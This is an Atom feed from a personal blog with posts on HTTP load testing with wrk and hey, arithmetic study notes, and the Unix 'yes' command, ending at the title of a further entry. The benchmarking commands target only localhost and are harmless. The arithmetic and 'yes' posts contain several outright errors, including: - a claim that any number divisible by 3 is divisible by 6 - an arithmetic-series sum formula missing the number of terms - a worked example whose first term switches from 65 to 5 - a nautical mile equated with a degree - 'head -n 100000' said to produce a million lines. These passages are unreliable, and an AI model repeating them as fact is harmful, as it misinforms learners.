<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>filipe's blog</title>
 <link href="https://github.com/filipelinhares/jekyll-marlene/atom.xml" rel="self"/>
 <link href="https://github.com/filipelinhares/jekyll-marlene/"/>
 <updated>2025-04-17T01:36:50+00:00</updated>
 <id>https://github.com/filipelinhares/jekyll-marlene</id>
 <author>
   <name>Filipe Linhares</name>
   <email>filipelinhares@outlook.com</email>
 </author>

 
 <entry>
   <title>Benchmarking HTTP Services with wrk</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2025/bechmark-http-service.html"/>
   <updated>2025-04-16T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2025/bechmark-http-service</id>
   <content type="html">&lt;p&gt;Recently I discovered a simple cli tool to performance testing HTTP services, &lt;a href=&quot;https://github.com/wg/wrk&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wrk&lt;/code&gt;&lt;/a&gt;. It’s really good for generating load on a server and measuring how it handles concurrent traffic.&lt;/p&gt;

&lt;h3 id=&quot;basic-usage&quot;&gt;Basic Usage&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wrk &lt;span class=&quot;nt&quot;&gt;-t4&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c25&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d5s&lt;/span&gt; http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t&lt;/code&gt;: the number of threads to use&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-c&lt;/code&gt;: connections/requests&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-d&lt;/code&gt;: the duration of the test&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This command simulates 25 users hitting your endpoint for 5 seconds, using 4 threads.&lt;/p&gt;

&lt;h3 id=&quot;custom-headers&quot;&gt;Custom Headers&lt;/h3&gt;

&lt;p&gt;Need to send headers like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authorization&lt;/code&gt;?&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wrk &lt;span class=&quot;nt&quot;&gt;-t2&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c50&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d10s&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: Bearer TOKEN&quot;&lt;/span&gt; http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;more-options&quot;&gt;More options&lt;/h3&gt;

&lt;p&gt;To test POST with a body, you’ll need to use a Lua script:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;post.lua&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;wrk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;POST&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wrk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{&quot;name&quot;:&quot;filipelinhares&quot;}&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wrk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;application/json&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then run:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wrk &lt;span class=&quot;nt&quot;&gt;-t2&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c50&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d10s&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; post.lua http://localhost:3000/api
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;a-simple-alternative-hey&quot;&gt;A Simple Alternative: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hey&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;If you’re looking for something even simpler and easy to install, &lt;a href=&quot;https://github.com/rakyll/hey&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hey&lt;/code&gt;&lt;/a&gt; is a great alternative written in Go.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hey &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 100 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 10 &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{&quot;name&quot;: &quot;filipelinhares&quot;}&apos;&lt;/span&gt; http://localhost:3000/api
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</content>
 </entry>
 
 <entry>
   <title>Arithmetic for the Practical Man</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/arithmetic.html"/>
   <updated>2019-02-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/arithmetic</id>
   <content type="html">&lt;p&gt;&lt;strong&gt;Concrete and Abstract number&lt;/strong&gt;
If the number is applied to specific counted or measured, &lt;em&gt;things&lt;/em&gt;, &lt;em&gt;objects&lt;/em&gt;, &lt;em&gt;quantities&lt;/em&gt; the number is said to be &lt;em&gt;concrete&lt;/em&gt; or sometimes a &lt;em&gt;denominate&lt;/em&gt; number.&lt;/p&gt;

&lt;p&gt;When number do not apply to those thing they are called &lt;em&gt;abstract&lt;/em&gt; numbers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Glossary&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Factor - 2 x 3 = 6 (Here 2 and 3 are factors of 6)&lt;/li&gt;
  &lt;li&gt;Mantissa - 2.091514977 In this case, the characteristic is 2, and the mantissa is 0.091514977.&lt;/li&gt;
  &lt;li&gt;Factorial - A number with (!) after it means it is factorial, eg: (3! = 3 x 2 x 1 = 6)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Keywords&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;sum&lt;/strong&gt; is simply sum&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;subtraction&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Minuend&lt;/li&gt;
      &lt;li&gt;Subtrahend&lt;/li&gt;
      &lt;li&gt;Remainders&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;multiplication&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Multiplicand&lt;/li&gt;
      &lt;li&gt;Multiplier&lt;/li&gt;
      &lt;li&gt;Product&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;division&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Divisor&lt;/li&gt;
      &lt;li&gt;Dividend&lt;/li&gt;
      &lt;li&gt;Quotient&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;fractions&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Numerator&lt;/li&gt;
      &lt;li&gt;Denominator&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;root&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Taken or Extracted (the calculation was made)
  The general operation of a root extraction is called evolution&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ratio&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;series&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;fractions&quot;&gt;Fractions&lt;/h3&gt;
&lt;p&gt;Decimal fractions are the fractions in which the denominator must be 10 or a multiple of 10 like 100, 1000, 10000.&lt;/p&gt;

&lt;h3 id=&quot;some-division-rules&quot;&gt;Some &lt;em&gt;division&lt;/em&gt; rules&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;em&gt;If the last figure of any number is even, the number is divisible by 2&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;If the lasf figure of any number is 5 or 0, the number is divisible by 5&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;If the number consisting of the last two figures of any given number is divisible by 4 or by 25, the entire number is divisible by 4 or 25&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;If the number represented by the last three figures of a given number is divisible by 8, the given number is divisible by 8&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;If the sum of the separated figures of any number is divisible by 9, the number is divisible by 9&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;If the sum of the separated figures of any number is divisible by 3, the number is divisible by 3&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;If any number is divisible by 3 it is divisible by 6&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;logarithms&quot;&gt;Logarithms&lt;/h3&gt;

&lt;p&gt;$\log_{6}36 = 2$&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[!info] “&lt;em&gt;How many sixes need to be multiplied together to get 36?&lt;/em&gt;”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;n&lt;/th&gt;
      &lt;th&gt;2^n&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;8&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;16&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;32&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;64&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;7&lt;/td&gt;
      &lt;td&gt;128&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;8&lt;/td&gt;
      &lt;td&gt;256&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;9&lt;/td&gt;
      &lt;td&gt;512&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;1024&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;11&lt;/td&gt;
      &lt;td&gt;2048&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;12&lt;/td&gt;
      &lt;td&gt;4096&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;If any power of 2 is multiplied by any power of 2 number, the result is a power of two whose then the sum of the exponents corresponding to the multiplicand and the multiplier.&lt;/p&gt;

&lt;p&gt;Finding the antilog&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;log₂ 16.&lt;/li&gt;
  &lt;li&gt;The logarithm base (2) and the logarithm value (16) indicate that 2 raised to what power equals 16.&lt;/li&gt;
  &lt;li&gt;In this case, 2 raised to the power of 4 equals 16, as 2^4 = 16.&lt;/li&gt;
  &lt;li&gt;Therefore, the antilog base 2 of log base 2 of 16 (log₂ 16) is 4.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Log can be used to simplify equations, you resolve the equation using the log of the values and then calculate the antilog to get the result.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multiplication with logs&lt;/strong&gt;
Find the logarithm of each of the factors and add these logarithms. Find the antilog.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Division with logs&lt;/strong&gt;
Find the logarithm of each of the factors and subtract these logarithms. Find the antilog.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Power with logs&lt;/strong&gt;
Find the log of a number, and multiply this log by the exponent. Find the antilog.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Roots with logs&lt;/strong&gt;
Find the log of the number, and divide this log by the root index. The antilog is the result.&lt;/p&gt;

&lt;h3 id=&quot;series&quot;&gt;Series&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;First term&lt;/li&gt;
  &lt;li&gt;Last term1&lt;/li&gt;
  &lt;li&gt;Number of terms&lt;/li&gt;
  &lt;li&gt;Common difference&lt;/li&gt;
  &lt;li&gt;Sum of the series&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
  &lt;p&gt;[!info] If any of three are know the remaining two can be calculated.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&quot;arithmetical-progression&quot;&gt;Arithmetical Progression&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;The number which form the series are called &lt;em&gt;terms&lt;/em&gt; of the series.&lt;/li&gt;
  &lt;li&gt;The method which each term is formed from the preceding term is called &lt;em&gt;law of the series&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;The number added to each term of the series is called &lt;em&gt;common difference&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;If each term in a series is formed by adding a certain number, to the preceding term, the terms of the series said to be in &lt;strong&gt;&lt;em&gt;arithmetical progression&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;rules&quot;&gt;Rules&lt;/h5&gt;
&lt;ol&gt;
  &lt;li&gt;The last term of an arithmetical progression is equal to the &lt;em&gt;first term&lt;/em&gt; (65) plus the product of the &lt;em&gt;common difference&lt;/em&gt; (2) by the &lt;em&gt;number of terms&lt;/em&gt; (27) -1.
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; [5, 7, 9, 11, 13, ...].length = 27

 5 + (26 x 2)
 5 + 52
 57
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The first term of a progression is equal to the last term minus the product of the common difference by the number of terms -1.&lt;/p&gt;

    &lt;p&gt;if we let &lt;em&gt;a&lt;/em&gt; represent the first term, &lt;em&gt;l&lt;/em&gt; represent the last term, &lt;em&gt;n&lt;/em&gt; the number of terms, and &lt;em&gt;d&lt;/em&gt; the common difference, we can express those two rules as follow:&lt;/p&gt;

    &lt;p&gt;$l = a + [(n - 1) \enspace . \enspace d]$
$a = l - [(n - 1) \enspace . \enspace d]$&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;The &lt;em&gt;common difference&lt;/em&gt; of an arithmetic progression is found by dividing the difference of the extremes by the number of terms less 1.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To find the number of terms in an arithmetical progression, divide the difference of the extremes by the common difference of the progression and to the quotient add 1.
$d = (l-a) \div (n-1)$
$n = [(l-a) \div d] + 1$&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;The sum of the terms of an arithmetical progression is the product of half the number of terms by the sum of the extremes.
$S = \frac{1}{2} \times (a + l)$&lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;geometrical-progression&quot;&gt;Geometrical Progression&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;The number added to each term of the series is called &lt;em&gt;common ratio&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;If each term in a series is formed by multiplying a certain number, to the preceding term, the terms of the series said to be in &lt;strong&gt;&lt;em&gt;geometrical progression&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Initial term:&lt;/strong&gt; In a geometric progression, the first number is called the initial term.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Common ratio:&lt;/strong&gt; The ratio between a term in the sequence and the term before it is called the “common ratio.” &lt;/li&gt;
  &lt;li&gt;The behavior of a geometric sequence depends on the value of the common ratio. If the common ratio is:
    &lt;ul&gt;
      &lt;li&gt;Positive, the terms will all be the same sign as the initial term.&lt;/li&gt;
      &lt;li&gt;Negative, the terms will alternate between positive and negative.&lt;/li&gt;
      &lt;li&gt;Greater than 1, there will be exponential growth towards positive or negative infinity (depending on the sign of the initial term). &lt;/li&gt;
      &lt;li&gt;1, the progression is a constant sequence.&lt;/li&gt;
      &lt;li&gt;Between -1 and 1 but not zero, there will be exponential decay towards zero.&lt;/li&gt;
      &lt;li&gt;-1, the progression is an alternating sequence.&lt;/li&gt;
      &lt;li&gt;Less than -1, for the absolute values there is exponential growth towards (unsigned) infinity, due to the alternating sign.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;angles&quot;&gt;Angles&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Angle Measures&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;60 seconds (´´) = 1 minute (´)&lt;/li&gt;
  &lt;li&gt;60 minutes      = 1 degree (°)&lt;/li&gt;
  &lt;li&gt;90 degrees      = 1 quadrant (quad.)&lt;/li&gt;
  &lt;li&gt;4 quadrants     = 1 circle (⊙)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;latitude-and-longitude&quot;&gt;Latitude and Longitude&lt;/h2&gt;
&lt;p&gt;Those concepts uses imaginaries line between the globe:
![[Pasted image 20230617051422.png]]&lt;/p&gt;

&lt;p&gt;It’s very helpful because you can use it to calculate time and distance as well, for example, one nautic mile is ~1 degree.&lt;/p&gt;

&lt;h3 id=&quot;percentage&quot;&gt;Percentage&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Rules&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;To express a decimal fraction in percentage, shift the decimal point two places to the right.
 &lt;em&gt;Example&lt;/em&gt;: .273 = $\frac{273}{1000}$ = $\frac{27.3}{100}$ = 27.3%;&lt;/li&gt;
  &lt;li&gt;To express a common fraction or ratio in percentage, multiply the numerator by 100 (add two zeros) and divide by the denominator.
 &lt;em&gt;Example&lt;/em&gt;: $\frac{53}{79}$ 5300 $\div$ 79 = 67.1%&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;binary&quot;&gt;Binary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Counting by eight, four and binary:&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;10&lt;/th&gt;
      &lt;th&gt;08&lt;/th&gt;
      &lt;th&gt;04&lt;/th&gt;
      &lt;th&gt;02&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;0001&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;0010&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;0011&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;0100&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;0101&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;11&lt;/td&gt;
      &lt;td&gt;0110&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;7&lt;/td&gt;
      &lt;td&gt;7&lt;/td&gt;
      &lt;td&gt;12&lt;/td&gt;
      &lt;td&gt;0111&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;8&lt;/td&gt;
      &lt;td&gt;8&lt;/td&gt;
      &lt;td&gt;13&lt;/td&gt;
      &lt;td&gt;1000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;9&lt;/td&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;14&lt;/td&gt;
      &lt;td&gt;1001&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;11&lt;/td&gt;
      &lt;td&gt;20&lt;/td&gt;
      &lt;td&gt;1010&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;10 = 2
100 = two x two = ($2^{2}$)
1000 = two x two x two = ($2^{3}$)
10_000_000_000 = ($2^{10}$)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Converting a denary to binary&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;eg 14 = 1110&lt;/p&gt;

&lt;p&gt;2 / 14 = 7 (remainder 0)
2 / 07 = 3 (remainder 1)
2 / 03 = 1 (remainder 1)
2 / 01 = 1 (remainder 1)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[!info] The result here is inverted 0111 -&amp;gt; 1110&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Converting a binary to denary&lt;/strong&gt;
Starting from the left side:&lt;/p&gt;

&lt;p&gt;eg 1110 = 14&lt;/p&gt;

&lt;p&gt;0 = 0
1 = 2
1 = 4
1 = 8&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Table reference [[#Logarithms]]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;14 = 2 + 4 + 8&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Addition of binary&lt;/strong&gt;
   11
   10
  110
  100
 1100 = 11011&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The addition of the right-hand column gives simply 1, write the 1;&lt;/li&gt;
  &lt;li&gt;The next column is 1+1+1 11, write the 1 and carry the 1;&lt;/li&gt;
  &lt;li&gt;The next column is 1 (carry) + 1 + 1 + 1 100, write the 0 and carry the 10;&lt;/li&gt;
  &lt;li&gt;The next column is 10 (carry) + 1 11, write the 1 and carry the 1;&lt;/li&gt;
  &lt;li&gt;The last entry is 1 (carry) with write the 1.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Subtraction with binary&lt;/strong&gt;
 100
   1
  11&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;We cannot subtract 0/1, borrow the left side
    &lt;ol&gt;
      &lt;li&gt;Borrow 0 is not useful, borrow again 1&lt;/li&gt;
      &lt;li&gt;Now we have 10&lt;/li&gt;
      &lt;li&gt;10 - 1 = 1&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Unix Command - yes</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/yes.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/yes</id>
   <content type="html">&lt;p&gt;The basic usage:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will flood your terminal with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;y&lt;/code&gt;, to stop it press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl + C&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To customize the output, provide a string:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;yes&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Hello, world!&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will continuously print &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Hello, world!&quot;&lt;/code&gt; on new lines.&lt;/p&gt;

&lt;h2 id=&quot;practical-uses-of-yes&quot;&gt;Practical Uses of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yes&lt;/code&gt;&lt;/h2&gt;

&lt;h3 id=&quot;automatically-confirm-prompts&quot;&gt;Automatically Confirm Prompts&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;yes&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get remove package-name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will keep the CPU busy by continuously sending output to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/null&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;creating-large-files-quickly&quot;&gt;Creating Large Files Quickly&lt;/h3&gt;
&lt;p&gt;Need a large file for testing? Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yes&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;yes&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;data&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 100000 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This creates a file with a million lines of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;data&quot;&lt;/code&gt;.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Unix commands - nice</title>
